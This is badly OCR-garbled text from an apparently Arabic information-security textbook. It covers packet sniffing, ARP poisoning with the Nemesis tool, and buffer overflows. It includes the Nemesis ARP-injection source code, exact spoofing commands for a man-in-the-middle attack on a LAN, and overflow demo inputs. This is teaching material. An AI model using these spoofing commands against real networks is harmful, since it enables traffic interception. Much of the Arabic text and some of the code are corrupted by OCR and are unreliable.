printf ("ID: %$hul\tLength: %$hu )\n", ntohs (ip header->ip id),
ntohs (ip _header->ip len));

IS5 g5 28 o2 A dsT G
546 3, TOP I, Sad cpusiedl U8 5501 55 W s 5, IPVA Header 1 (3 5 - L field U L
1432 ICMP JI 517 .5 , UDP JI I las

Nitey

J (.j «IP Header Structure Ji 15 > s 511 IP JI ¢ 5 oI Element JI (_;14,3:3 (—>) 30 Ledseial
bt e 23 63 oS Packet JLa )Y L5 Al field JI s (,M aad| 34D JI mdes GUI k)
fragmentation JI ya 5 = field - field I s pasenid (oblas] 58 o packets

& Lozl Ll Lo Lgany azl) packets J1 o B3 ALA 0l 13 L 8Tl 5,80 s G 545
.Host byte order J! | network byte order J! -, L;id?i ! function JI &y Gl el

function Jl eds ;55 Gl [t

decode_tcp( ) 25

u_int decode tcp(const u char *header start) {
u_int header size;
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unsigned integer «s 5 function Ji ey o Uk| return type Ji of L1uJ) d bf_i

1sa Lo function Jledia 3 Jlaw 513 pelann e

return header size;

PR . .
ra 37530, "tep_header_length" JI | adews return value Ji 14

tcp header length =
decode tcp(packet + ETHER HDR LEN + sizeof (struct ip hdr));

<Argument sk «decode_tcp( ) JI . function J Call uj.;;w: &l el s
W a A2 el 3 TCP Header J) &S s ol i ! (G sl G 501 Ju sl 5 201 Vin o)
QT g_,..>-T L.:M.: ;LS': 9L:L.»L; c<3\;Lc J& )}Ai}“ Z\QEJ}MJ ;.J:.header_size d‘ dk} “return Value” 3-.«:,3

2
:d,Ui;Hbjl

s e ol

header size = 4 * tcp header->tcp offset;

?4fggg\su

4 bytes * offset field :J 42 &)

Cj“‘ gl 2 Be (e O5S Header JI of (Ao | S8 (TCP Header ) 4.5 &)1 42 2Jl o 4 bytes JI oda

Abytesiz 5 S 5 e
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Lo ibly J&; ia .. Header Ji s 3 bzl ¢ 5 31 e 2l il 201 sis 6 5 1 Offset field 1
.ﬁ:bi\ oda doxs
:TCP Header JU 4oL RFC JI s field JI 10 gy a5 1da

Data Offset: 4 bits
The number of 32 bit words in the TCP Header. This indicates where the
data begins. The TCP header (even one including options) is an integral number
of 32 bits long.

."TCP Header Length" J| .,u£ field JI |, o UL

Ay el 53 2l OV ¢ Siffer i 1ds = 5 &l (] Wl 5 28 Vg 0,58
© 2 )Wl dbaslUl ods JlizwY dazal

reader@hacking:~/booksrc $ gcc -o decode sniff decode sniff.c -lpcap
reader@hacking:~/booksrc $ sudo ./decode sniff

Sniffing on device ethO

==== Got a 75 byte packet ====
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[[ Layer 2 :: Ethernet Header ]]
[ Source: 00:01:29:15:65:b6 Dest: 00:01:6c:eb:1d:50 Type: 8 ]
(( Layer 3 ::: IP Header ))
( Source: 192.168.18.1 Dest: 192.168.18.249 )
( Type: 6 ID: 7755 Length: 61 )
{{ Layer 4 :::: TCP Header }}
{ Src Port: 35602 Dest Port: 7890 }
{ Seg #: 2887045274 Ack #: 3843058889 }
{ Header Size: 32 Flags: PUSH ACK }
9 bytes of packet data

74 65 73 74 69 6e 67 0d Oa | testing..

==== Got a 66 byte packet ====

[[ Layer 2 :: Ethernet Header ]]

[ Source: 00:01:6c:eb:1d:50 Dest: 00:01:29:15:65:b6 Type: 8 ]
(( Layer 3 ::: IP Header ))

( Source: 192.168.18.249 Dest: 192.168.18.1 )

( Type: 6 ID: 15678 Length: 52 )
{{ Layer 4 :::: TCP Header }}
{ Src Port: 7890 Dest Port: 35602 }
{ Seqg #: 3843058889 Ack #: 2887045283 }
{ Header Size: 32 Flags: ACK }

No Packet Data
== Got a 82 byte packet ====

[[ Layer 2 :: Ethernet Header ]]
[ Source: 00:01:29:15:65:06 Dest: 00:01:6c:eb:1d:50 Type: 8 ]
(( Layer 3 ::: IP Header ))

( Source: 192.168.18.1 Dest: 192.168.18.249 )
( Type: 6 ID: 7756 Length: 68 )
{{ Layer 4 :::: TCP Header }}
{ Src Port: 35602 Dest Port: 7890 }
{ Seqg #: 2887045283 Ack #: 3843058889 }
{ Header Size: 32 Flags: PUSH ACK }
16 bytes of packet data

74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d Oa | this is a test..
reader@hacking:~/booksrc $
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Understanding Hacking and Information Security aylagleall gpalg 8436532180 d3mgall
The conclusion

Data JI o3 &2k JSG 4ol Headers JI 5 25 wlalll Decode fos o5 aS Gludl Ul 3 LY
JeN (Data-Link Layer) Jauwl s data JI Juiis LS T .ilazlll packet JI s w5 gl
k)l 1| packet J Vj‘:’j Vj iab JS§ el Header JI Jsb o 5531 4 LS «(Application Layer)
I b dm il Data JI W a5 2> jexs “Decapsulation” JI dles SL3T Jendl 1 o5 claslas I
sl e Data JI y Headers JI ol g2 5,6 s SKos Headers JI o _e\d Length

SO IRVIUI PP AR

(Application)

TCPUDP
(Transport) | eader

IP

(Internet) Header

Frame

(Link) Hath Footer

Header

kS oY ol o colS B g colidall o el o iS5 Data Jl e 2 sl ‘ngyﬁ\ s Al LY
NSl el Wt 3
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If we analyze the figure, we see:
= The application layer sends the data (to be transferred to remote destination) to the transport
layer.

= The transport layer puts its header in the beginning and sends this complete packet
(TCP-header + app-data) to the IP layer.

= On the same lines, The IP layer puts its header in front of the data received from TCP
So now the structure of IP datagram becomes (IP-header + TCP-header + app-data).

= This IP datagram is passed to the ethernet layer which on the same lines adds its own header
to IP datagram and then the whole packet is transmitted over network.

On the destination host, the reverse process happens. This means that each layer reads its own
header in the packet and then strips the header so that finally application receives the app-data.

"ARP Poisoning" Ji di.s casx 0V et

ARP Poisoning Attack

Caddl s 5 0 5 I 5eY) Jaa W i Packet Capturing JU 2l Jeo bl (o el i OV S

ligs Switch o Ml s 3> Y1 u>1 e TCPDump JI 51 WireShark JIs b pliials o 8 Lekis L Lgee

Ay W b &30 0 e ez ) S0 Uie a alall ST L] esldll traffic J1 G315 e Sl W my
1! Broadcast Domain Ji i (& Las 15 3¢ Y1
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185 542 Visibility 4.0 Sniffer J1 Of oY cazni Lo e 5555 goall 0dn

Computer D

&

Computer A

Visibility @
QB v

Sniffer

Computer E Computer F

Computer B Computer C

Figure 2-4: The visibility window on a switched network is limited
to the port you are plugged into.

Source: Ref(5
IOl s e o uwi\ Port JI e Ul traffic JI bladl - - Sz 14 Sniffer JI ol Jsa! bj\.i

o QWL «Las Sniffer Ji ] »j\ Traffic JI V) port JI lis s Ju 5 18 CAM Table Uz, Switch

.&;ﬁ\ghyb;u\;wow

e s 2 b sl »Y 58 2315 WISl Y oK)
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I e Bend Jla b e s&d 4 Port Mirroring JI &ol Jorisy o 525 Switch JI lis Lo Access el of e

s e LU/S (.j il osad i port JI Jf network traffic

zport mirroring J\ s 5, JUSAIIRT

T e

[ f -]

Monitoring PC

_____ /(.
WIRESHARK

Internet

JI ARP Reply VA»T sl Gk oo s 0z "ARP Spoofing” Jos Gk e 055 B A LIl e

e oo traffic DV 45, 4 2 1856Vl
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L Ida 5 . Attacker JU 4o sud UL - io4-1 ARP Cache JJ overwritten & si> A <l 55
.ARP Poisoning Ju «le ;i

Switch

S NS
“ Alice
Bob o % IP: 10.0.0.7

(y

/

. T, ;
IP: 10.0.0.1 Qf.?f’féo, {ﬂ\‘? & MAC: [aa:aa:aa:aa:aa:aa)
MAC: [bb:bb:bb:bb:bb:bb] 6@130 QC"@.&S?
T G &8 o
4 & .
%, e Ul
G R, R ¢
G, O/’)g ??.?‘O'
Qf;;“’ 05&‘6{)@
'tb/\ ‘S\Q(.),'\
/’\Q-

Attacker
IP10.0.0.3

MAC: [cc:ce:ce:ce:ce:ce]

o yeWIP I 055J) Bob ;)L L541 ARP Cache Joverwritten [ Attacker Ji 56 u& (s 5 S
IV x5 o2 Alice 50 ARP Reply J1 s Sl o Ll s «(Attacker Ul oI MAC JI 4Lz Alice
(Attacker Ju ol MAC Jl abli Bob & ol IP JI eos) Ll ARP Cache

Il ) UL Jps s dnd . Altacker I 56 oS5 e cAlice 5 BOb  Juol 1 ias ot o) 1ia
-Bob 5 Alice ] v¢loo 5 p 52 Switch JI I} cgel> ] &~ & e Headers JI Jydxx ¢ s AttACKeEr
skl U S0 6 Jais MAC JU ez, Switch J1 0T s
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SEUIS el UL o Bl 502 timeout L ARP Cache Jl sda S

Jlu,l p sd oda Redirection JI dles Lo bl s «30 Seconds Lk 045G timeout JI 1 L.;Ja., ..
St 10 Seconds Js "Spoofed ARP Replies”

Il W sVl e 0 55w Alice 5 BOb ¢y UL traffic Ji lebl e 1S dinas o) 1 Wik & S
JIslsT el pusuis .5 51 e user JI 1 el o5 S Gateway JI (5 users JI A1 o traffic
MAC JI5 Sl 2ol Lo Joni 5, ye2e 3151 o 5 Ettercap

ALl Jo+1s "eraft and enject packets” Jo; o5& Nemesis JI slsf L

O - (Jols ams B k) cLibpeap.c JI s Libnet.c JI L g2l Libraries JI e de so2 Lo dotny o285
By b Al 25 d ) GG el Solike s ol 5 20l e dyall GOOGE (§ s Ettercap Ji 2,2 s ]
Lol szl

<3531 sds -y Lo Source JI wlike sy Tad AARP Poisoning Ji ials b Usds of Com
Melas 2JT 12 5

Inside Nemesis tool
g fedszdl Functions Ji aslel) L. Lol Source JI wlads e ¢ MLYI I Wess o s
Ll 5o i G e 311 ada s 5V Lo Nemesis J1 sls] it ods . Lghoe 25010
http://nemesis.sourceforge.net/

lgos dny s 805 0
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http://nemesis.sourceforge.net/

“Nemesis is a command-line network packet crafting and injection utility.

Nemesis can natively craft and inject ARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF, RIP,
TCP and UDP packets”.

Using the IP and the Ethernet injection modes, almost any custom packet can be crafted and
injected.

ralad aay Source Jl cale K3 1

Connect to Server

nemesis-igmp.h

nemesis-ospf.c

nemesis-ip.c

#!

nemesis-ospf.h

| £ 2 | fxHome nemesis-1.4 |sre Q| vilE| @ ® ©
[ ] L
Y Recent Makefile.in memcmp.c nemesis.c
1+ Home
#! #!
@ Desktop : A :
nemesis.h nemesis-arp.c nemesis-arp.h
"] Documents
C #! C
(3) Downloads
nemesis-dns.c nemesis-dns.h nemesis-ethernet.c
JJ  Music
1 Pictures #!
B Videos nemesis-ethernet.h nemesis-fileio.c nemesis-functions.c
ﬁ TraSh #I
(=] Floppy Disk nemesis-icmp.c nemesis-icmp.h nemesis-igmp.c
Computer
8 come ! C #!
f&  Browse Network

nemesis-ip.h

nemesis-printout.c
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1wl s an u,;{.,.jj ¢Sl 5 g LI nemesis-arp.c alll sz o siiw ¢ARP POISON JU (rogs Ll o

/

b S T T S S S S

$Id: nemesis-arp.c,v 1.1.1.1 2003/10/31 21:29:36 jnathan Exp $
THE NEMESIS PROJECT

Copyright (C) 1999, 2000, 2001 Mark Grimes <mark@stateful.net>
Copyright (C) 2001 - 2003 Jeff Nathan <jeff@snort.org>

nemesis-arp.c (ARP/RARP Packet Injector)

/

#include "nemesis-arp.h"
#include "nemesis.h"
#if defined (WIN32)

#include <pcap.h>

#endif
static ETHERhdr etherhdr;
static ARPhdr arphdr;

(omitted)

void nemesis arp(int argc, char **argv)

{

const char *module= "ARP/RARP Packet Injection";

nemesis maketitle(title, module, version);

if (argc > 1 && !strncmp(argv[l], "help", 4))
arp usage (argv[0]);

arp_initdata();

arp cmdline (argc, argv);
arp validatedata();

arp verbose () ;

if (got payload)
{
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if (builddatafromfile (ARPRUFFSIZE, é&pd, (const char *)file,
(const u int32 t)PAYLOADMODE) < 0)
arp_exit(1l);

}

if (buildarp(&etherhdr, &arphdr, &pd, device, reply) < 0)

{
printf ("\n%s Injection Failure\n", (rarp == 0 ? "ARP" : "RARP"));
arp exit (1);

}

else

{
printf ("\n%s Packet Injected\n", (rarp == 0 ? "ARP" : "RARP"));
arp_exit (0);

.nemesis_arp() Ju ,oldl Ll cls ols
&lds & g %5 o5 packet header JI UL Lo\ data structures Ji s s s function Ji os r./xsa“f

Jol8 an 3 sl <function J)

¢..nemesis_arp( ) JI ois Call £:3Z s SJ

: ke | S nemesis.c Calll (335 g 11 emain() JI y» call L &£ function Ji eds

#include <stdio.h>

#include <unistd.h>
#include <string.h>
#include "nemesis.h"

int main(int argc, char **argv)

{
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char **avtmp, *avval;
extern int optind;

avtmp = argv;

avval = strrchr (*avtmp, '/');
if (avval++ == NULL)
avval = *avtmp;
if (!strncmp(avval, "nemesis-arp", 11))

{
nemesis arp(argc, argv);
}
else if (argc > 1 && !strncmp(argv[1l], "arp", 3))
{
argv += optind;
argc -= optind;
nemesis arp(argc, argv);

tdode e nemesis_arp( ) Ji s s

‘Headers JI 2] "Static defined Structures” JI -» de oz eleazul idoe LI0J1 & b)&f
Ethernet and ARP Headers.. and more.

.Lais ARP J\s Ethernet JI oo a3 2l structures Ji Lbl i LS

static ETHERhdr etherhdr;
static ARPhdr arphdr;

-nemesis.h Calll s (giledinl o

2 . X . .
:(..i Lbos e (¢ 1 functions dx )Y call fon, function Ji e o585

arp_initdata();
arp_cmdline (argc, argv);
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arp validatedata();
arp _verbose();

tamlh o0 | o s, . NEMeSiS-arp.c calll i 3 53 4 5o fUnctions Ji eda
cmd-line JI we Jaladls p 425 L3105 & slball structures JU dwold-| data ) initialize Jos p o5 15Y0
reporting JL 4ol &l 1 (el UL & e 15Tl 2wl 5 carguments

header structures Ju i.sUkl elements Ji s J arp_initdata( ) Ji b g2 &l u,éjph

static void arp initdata(void)

{

/* defaults */

etherhdr.ether type = ETHERTYPE ARP; /* Ethernet type ARP */
memset (etherhdr.ether shost, 0, 6); /* Ethernet source address */
memset (etherhdr.ether dhost, O0xff, 6); /* Ethernet dest. address */
arphdr.ar op = ARPOP REQUEST; /* ARP opcode: request */
arphdr.ar hrd = ARPHRD ETHER; /* hardware format: Ethernet */
arphdr.ar pro = ETHERTYPE IP; /* protocol format: IP */

arphdr.ar hln 6; /* 6 byte hardware addresses */

arphdr.ar pln = 4; /* 4 byte protocol addresses */

memset (arphdr.ar sha, 0, 6); /* ARP frame sender address */
memset (arphdr.ar spa, 0, 4); /* ARP sender protocol (IP) addr */
memset (arphdr.ar tha, 0, 6); /* ARP frame target address */
memset (arphdr.ar tpa, 0, 4); /* ARP target protocol (IP) addr */
pd.file mem = NULL;

pd.file s = 0;

return;

}

’

eI =2 function Jl el M I Arguments JI JsCs o bzl .. V1
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Bt W e iS2)l 3 Gateway M) Lasls 4 ol traffic JI Jy o2 s 11 5Ll ping Jot p 53 01 A
LaiMAC JI ¢ o o1 IP Addresses Ji L LyaJarp cache Ji 3 entry <)

reader@hacking:~/booksrc $ ping -¢ 1 -w 1 192.168.0.1
PING 192.168.0.1 (192.168.0.1): 56 octets data

64 octets from 192.168.0.1: icmp seg=0 ttl=64 time=0.4 ms
--- 192.168.0.1 ping statistics ---

1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms

reader@hacking:~/booksrc $ ping -c¢ 1 -w 1 192.168.0.118

PING 192.168.0.118 (192.168.0.118): 56 octets data

64 octets from 192.168.0.118: icmp seqg=0 ttl=128 time=0.4 ms
---192.168.0.118 ping statistics ---

1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms

reader@hacking:~/booksrc $ arp -na
? (192.168.0.1) at 00:50:18:00:0F:01 [ether] on ethO
? (192.168.0.118) at 00:CO0:F0:79:3D:30 [ether] on ethO

reader@hacking:~/booksrc $ ifconfig ethO

ethO0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED

inet addr:192.168.0.193 Bcast:192.168.0.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1

RX packets:4153 errors:0 dropped:0 overruns:0 frame:0

TX packets:3875 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100

RX bytes:601686 (587.5 Kb) TX bytes:288567 (281.8 Kb)
Interrupt:9 Base address:0xc000

reader@hacking:~/booksrc $

.= MITM Attack  fos ;\j&\ gateway Jiy jlgd! e J% pabe Wb marp —na" oY1 S aay
(S ede p bl oz s nemesis JI s p p2l
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Running Nemesis

reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S
192.168.0.1 -D 192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30
-H 00:00:AD:D1:C7:ED -M 00:C0O0:F0:79:3D:30

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4

[MAC] 00:00:AD:D1:C7:ED > 00:CO0:F0:79:3D:30
[Ethernet type] ARP (0x0806)

192.168.0.1 > 192.168.0.118
[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:CO0:F0:79:3D:30
[ARP opcode] Reply

[Protocol addr:IP]
]
]
ARP hardware fmt] Ethernet (1)
]
]
]

[

[ARP proto format] IP (0x0800)
[ARP protocol len] 6

[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT ENI1OMB

ARP Packet Injected

reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d ethO -S
192.168.0.118 -D

192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H
00:00:AD:D1:C7:ED -M

00:50:18:00:0F:01

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4

[MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.0.118 > 192.168.0.1

[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
[ARP opcode] Reply

[ARP hardware fmt] Ethernet (1)

[ARP proto format] IP (0x0800)
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[ARP protocol len] 6
[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT ENI1OMB.

ARP

Packet Injected

reader@hacking:~/booksrc $

2 L ol man page JI ;e = 5 U o el ccommand J1 s (3 options JI s aldseul e )
I oorr Lo e : o2 .

-

i

YYs

reader@hacking:~/booksrc $ nemesis arp help

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build

26)

ARP/RARP Usage:

arp

[-v (verbose)] [options]

ARP/RARP Options:

-5
-D

-P

<Source IP address>
<Destination IP address>

<Sender MAC address within ARP frame>
<Target MAC address within ARP frame>

({ARP,RARP} REPLY enable)
(RARP enable)
<Payload file>

Data Link Options:

-d

<Ethernet device name>
<Source MAC address>
<Destination MAC address>

must define a Source and Destination IP address.

Security & Attacks

[237]



Understanding Hacking and Information Security aylagleall gpalg 8436532180 d3mgall

Nemesis_arp( ) _»s ARP Poison J iwld| function Ji () s 52 L oY sl fars CaS a7 a3

.L&J‘)}JM

st Al buildarp( ) Ji sledzal Gl § o dilo blows sl 31 functions ix,SU call fos s,
“nemesis-proto_arp.c”: JKa)l § s 5| S Jand ihe G 5 . inject Jose s ARP Packet JI -, 5

‘ Open [ml nemesis-?roto.arp.c l Sa
W= ~/nemesis-1.4/src L i

#include "nemesis-arp.h"

#include "nemesis.h"

int buildarp(ETHERhdr *eth, ARPhdr *arp, FileData *pd, char *device,
int reply)

{

int n = 0;

u_int32 t arp_packetlen;

static u_int8 t *pkt;

struct libnet link_int *12 = NULL;

/* validation tests */
if (pd->file_mem == NULL)
pd->file s = 0;

arp_packetlen = LIBNET ARP H + LIBNET ETH H + pd->file s;

#ifdef DEBUG
printf("DEBUG: ARP packet length %u.\n", arp_packetlen);
printf("DEBUG: ARP payload size %u.\n", pd->file s);
#endif

if ((12 = libnet open link interface(device, errbuf)) == NULL)

{
nemesis_device failure(INJECTION_LINK, (const char *)device);
return -1;
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int buildarp (ETHERhdr *eth, ARPhdr *arp, FileData *pd, char
*device, int reply)
{
int n = 0;
u int32 t arp packetlen;
static u int8 t *pkt;
struct libnet link int *12 = NULL;

/* validation tests */
if (pd->file mem == NULL)
pd->file s = 0;

arp packetlen = LIBNET ARP H + LIBNET ETH H + pd->file s;

#ifdef DEBUG
printf ("DEBUG: ARP packet length %u.\n", arp packetlen);
printf ("DEBUG: ARP payload size %u.\n", pd->file s);
#endif

if ((12 = libnet open link interface(device, errbuf)) == NULL)
{

nemesis device failure (INJECTION LINK, (const char *)device);
return -1;

}

if (libnet init packet (arp packetlen, &pkt) == -1)

{

fprintf (stderr, "ERROR: Unable to allocate packet memory.\n");

return -1;

}

libnet build ethernet (eth->ether dhost, eth->ether shost,
eth->ether type NULL, 0, pkt);

libnet build arp(arp->ar hrd, arp->ar pro, arp—->ar hln,
arp->ar_pln, arp->ar op, arp->ar_ sha, arp->ar_spa,
arp->ar_tha, arp->ar tpa, pd->file mem, pd->file s,
pkt + LIBNET ETH H);
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n = libnet write link layer(l2, device, pkt, LIBNET ETH H +
LIBNET ARP H + pd->file s);

if (verbose == 2)
nemesis hexdump (pkt, arp packetlen, HEX ASCII DECODE) ;
if (verbose == 3)
nemesis hexdump (pkt, arp packetlen, HEX RAW DECODE) ;
if (n != arp packetlen)
{
fprintf (stderr, "ERROR: Incomplete packet injection. Only "
"wrote %d bytes.\n", n);
}
else
{
if (verbose)
{
1f (memcmp (eth->ether dhost, (void *)é&one, 6))
{
printf ("Wrote %d byte unicast ARP request packet through "
"linktype %s.\n", n,
nemesis lookup linktype (l2->linktype)):;
}
else
{
printf ("Wrote %d byte %s packet through linktype %s.\n",
n, (eth->ether type == ETHERTYPE ARP ? "ARP"
"RARP"), nemesis lookup linktype (12->linktype));
}
}

}

libnet destroy packet (&pkt);

if (12 '= NULL)

libnet close link interface(12);
return (n);
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JIds LA @fi‘ o S e ylS e W inject s 5 packet JI - o s function Ji ea 5 s
;&L Arguments

int buildarp (ETHERhdr *eth, ARPhdr *arp, FileData *pd, char
*device, int reply)

Nemesis.h JI .- "ARP Header Structure" J\Lﬁj, "Ethernet Header Structure" JI (\MV gl
.Lib
:.sJ&J\\.'u:éLg,);)j@(ﬁvﬁ\functionsd\y‘b}&s&w,@!\L?LM:{UA;M

1- libnet open link interface()
2- libnet init packet ()

3- libnet build ethernet ()

4- libnet build arp()

5- libnet write link layer()

tps VL Tas (D)
libnet open link interface(device, errbuf)

Link- JU ol Frame Ji 4ls CLN.J < packet interface = e R <"low-level function" sJxs ,;3

-3 oo shiffer I 8 we LSS sl error buffer Ji 5 interface device | Arguments i2b ¢ -Layer

ragkl ub o (2)
libnet init packet (arp packetlen, é&pkt)
Agaldsenl o3y S packet Jinitialize Jox p o5 Ll el o il
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““arp_packetlen”JjQ\NQUHwntJHJA

{ARP Packet JI w4 st 5 50 &1y § 4 15 (5 s o8 0)le

u int32 t arp packetlen;
arp packetlen = LIBNET ARP H + LIBNET ETH H + pd->file s;

JI g8 “apkt” gtﬂ\, ARP Payload Size J! 5 Ethernet Header JiI s ARP Header | ﬂ.i\ lia (g s
.(Address of this packet in memory)

PR ;\j\ packet |} memory allocation fes o] L function JI s 42k U.DQLA ..(,.ei\
¢ malloc() i eds S L ..malloc( ) Lo S Call fon) Gorloms 0 5K QUL 5

.memory |} Destroy J.a) Free() JI oS OF o sllall lgst aay C\:i allocation JI iles O ol 1S

23 I J}T d lau£ libnet_destroy_packet( ) Lz «<U4J function (:Lx;';w,\ Lgfu;é

145(.3\."(.”} (3)

libnet build ethernet (eth->ether dhost, eth->ether shost,
eth->ether type NULL, 0, pkt);

-ethernet struct JU LoU1 Elements JI ez 43 «Ethernet Packet JI o, 55 ol ¢ 35
"ARP, or IP" _ether packet Ji ¢ i le JXG ether type Jilds Ll

:Lgbﬂrj(4)
libnet build arp(arp->ar hrd, arp->ar pro, arp->ar hln,
arp->ar pln, arp->ar op, arp->ar sha, arp->ar_ spa,
arp->ar tha, arp->ar tpa, pd->file mem, pd->file s,
pkt + LIBNET ETH H);

ARP PaCketd\ U'iﬁg:‘." c}?ﬁm L@..gj LLadE Wo.l.h
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‘function Jl el 3 Loz Elements H oo Ll

hardware address type, protocol address type, the hardware address length,

the protocol address length, the ARP packet type, the sender hardware address, the sender
protocol address, the target hardware address, the target protocol address,

the packet payload, the payload size, and finally, a pointer to the packet header memory.

. . (T
:function Ji eds 3G - (5)
libnet write link layer()

[nject J &lax; ¢ 52 device JI 4] packet JI o1d write Jos; p 522
L/U PIERPyl = JI memory JJ free Jox libnet_destroy_packet (&pkt) JI <=).i? Ll ‘;éj

:function J! «Js el TJP'-T "low-level interface" J| dlp Vj .Packet
libnet close link interface
“ARP Poisoning” JI (e Lugl 48 O 455 1

“Buffer Overflow” JI 55 gl ol 2l s & s oVl Jw

Buffer Overflow

I o elolss G el all s imadll Bl&s Js L) 3131 G 5 ngetdl GJall e Buffer Overflow J)
(’}3?‘ “the execution flow” GAUJQ\ B {:{;&J\ FrYCHpE g @;J\ Ida e GAdl O 4 5 cmemory
.memory JI f=1s L 1S5 & ax.55 malicious code ! instructions J.az,

“Execution of arbitrary code” JL = lw )\j.\ o @;J\ REPYP &}bj
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Lok <6 bytes e s buffer Ji s 0S5 <inputs L. |ax.d) buffer ja.as u&j\\ d el \519&«.’9
.buffer Ji 144 Overflow &1 G 5s 1l O.oiy.u. 8 bytes Jl=sb Fou
izasdl =Ll e el 31 2 bytes JI 0N <Buffer Overflow i Buffer Overrun J | > Y1 1is au;

Microsoft Visual C++ Runtime Library

sl “Overflow”

@ Buffer overrun detected!
e Al > Jls  lda
Program: ...am FilesiMicrosoft Office\OFFICE1 1\WINWORD.EXE o* o

& buffer overrun has been detected which has corrupted the program's [PEIRALY VJ .BOF J| &Y=
internal state. The program cannot safely continue execution and must

now be terminated. el Lol i st
Word Ji sl & Y

“Buffer Overrun Detected error after you installs Office 2003 Service Pack 3 for Hebrew”
The Hebrew version of Microsoft Office Word 2003 Service Pack 3 may stop responding when
you run a spelling and grammar check or when you use a custom dictionary that was created
before Service Pack 3.

You may receive the following error message:

Microsoft Visual C ++ Runtime library

buffer overrun detected! Program: C:\Program Files\Microsoft Office\Officel1\Winword.exe, A
buffer overrun has been detected which has corrupted the program's internal state. The program
cannot safely continue execution and must now be terminated.

8l eds BAZ (4S it Lo Il B
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25,500 s s s

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
int value = 5;
char buffer onel[8], buffer twol[8];
strcpy (buffer one, "one"); /* Put "one" into buffer one. */
strcpy (buffer two, "two"); /* Put "two" into buffer two. */

printf (" [BEFORE] buffer two is at %p and contains \'%s\'\n",
buffer two, buffer two);

printf (" [BEFORE] buffer one is at %p and contains \'%s\'\n",
buffer one, buffer one);

printf (" [BEFORE] value is at %p and is %d (0x%08x)\n", &value,
value, value);

printf ("\n[STRCPY] copying %d bytes into buffer two\n\n",
strlen(argv[1l]));
strcpy (buffer two, argv[l]); /* Copy first argument into
buffer two. */

printf (" [AFTER] buffer two is at %p and contains \'$s\'\n",
buffer two, buffer two);

printf (" [AFTER] buffer one is at %p and contains \'%$s\'\n",
buffer one, buffer one);

printf (" [AFTER] value is at %p and is %d (0x%08x)\n", &value,
value, value);

:{ﬁUHlﬁd
buffer_two Ji 3 ans s o 52 rgVL] J1 ya 5 pasiedl s inpUL Sl 502, Fyoed
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e Wil (& char array Lef =Y <10 bytes Jaxis “1234567890” s .. a5l e INpUL  |1sL o 4
Lg 2 2] g L C}M

Ll byteds.z.,méchardsjvjjnco
:GiL:J\ Jalad La

reader@hacking:~/booksrc $ gcc -o overflow example overflow example.c
reader@hacking:~/booksrc $ ./overflow example 1234567890

[BEFORE] buffer two is at Oxbffff7f0 and contains 'two'

[BEFORE] buffer one is at Oxbffff7f8 and contains 'one'

[BEFORE] value is at Oxbffff804 and is 5 (0x00000005)

[STRCPY] copying 10 bytes into buffer two

[AFTER] buffer two is at Oxbffff7f0 and contains '1234567890"'

[AFTER] buffer one is at Oxbffff7f8 and contains '90'

[AFTER] value is at Oxbffff804 and is 5 (0x00000005)
reader@hacking:~/booksrc $

Lz i J#1s 10 bytes =23 D2 o ¢ J2ll Overflow & s o5 <l bold Ji Ll 3 L
.Laas 8 bytes e g2

buffer JI oY Lisy .. 75 S buffer_one il overflow Lass 56131 2 bytes JI oda s QWL
.memory JI 15 Lze Ly, 6 =Y ottt overflow s & JUI e 55131

152 L dalady L 508 INpUt Jists] s

reader@hacking:~/booksrc § ./overflow example
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[BEFORE] buffer two is at Oxbffff7e0 and contains 'two'
[BEFORE] buffer one is at Oxbffff7e8 and contains 'one'
[BEFORE] value is at Oxbffff7f4 and is 5 (0x00000005)
[STRCPY] copying 29 bytes into buffer two

[AFTER] buffer two is at Oxbffff7e0 and contains

! AAAAAAAAAAAAAKAAAAAAAAAAAAAAA !

[AFTER] buffer one is at Oxbffff7e8 and contains
'AAAAAAAAAAAAAAAAAAARAA
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[AFTER] value is at Oxbffff7f4 and is 1094795585 (0x41414141)
Segmentation fault (core dumped)
reader@hacking:~/booksrc $

13 11 oda overflow o i L “int value 57l of Loy

15,0 s e ST Buffer Ji

reader@hacking:~/booksrc $ ./notesearch
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAA
AAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

——————— [ end of note data ]-————--

Segmentation fault

reader@hacking:~/booksrc $

bl crash & (§ o 8 &1 LS
The Stack

as ol s
P w 2
:“the shellcoder’s handbook” S pe JauwN| ax ble disle laliisl ol slall [ ael 87550

"When a program is executed, it is laid out in an organized manner—various elements of the
program are mapped into memory. First, the operating system creates an address space in which
the program will run. This address space includes the actual program instructions as well as any
required data. Next, information is loaded from the program’s executable file to the newly
created address space. There are three types of segments: .text, .bss, and .data. The .text segment
is mapped as read-only, whereas .data and .bss are writable. The .bss and .data segments are
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reserved for global variables. The .data segment contains static initialized data, and the .bss
segment contains uninitialized data. The final segment, .text, holds the program instructions.
Finally, the stack and the heap are initialized".

1+ Lower addresses (0x08000000)
Shared libraries

.text

.bss

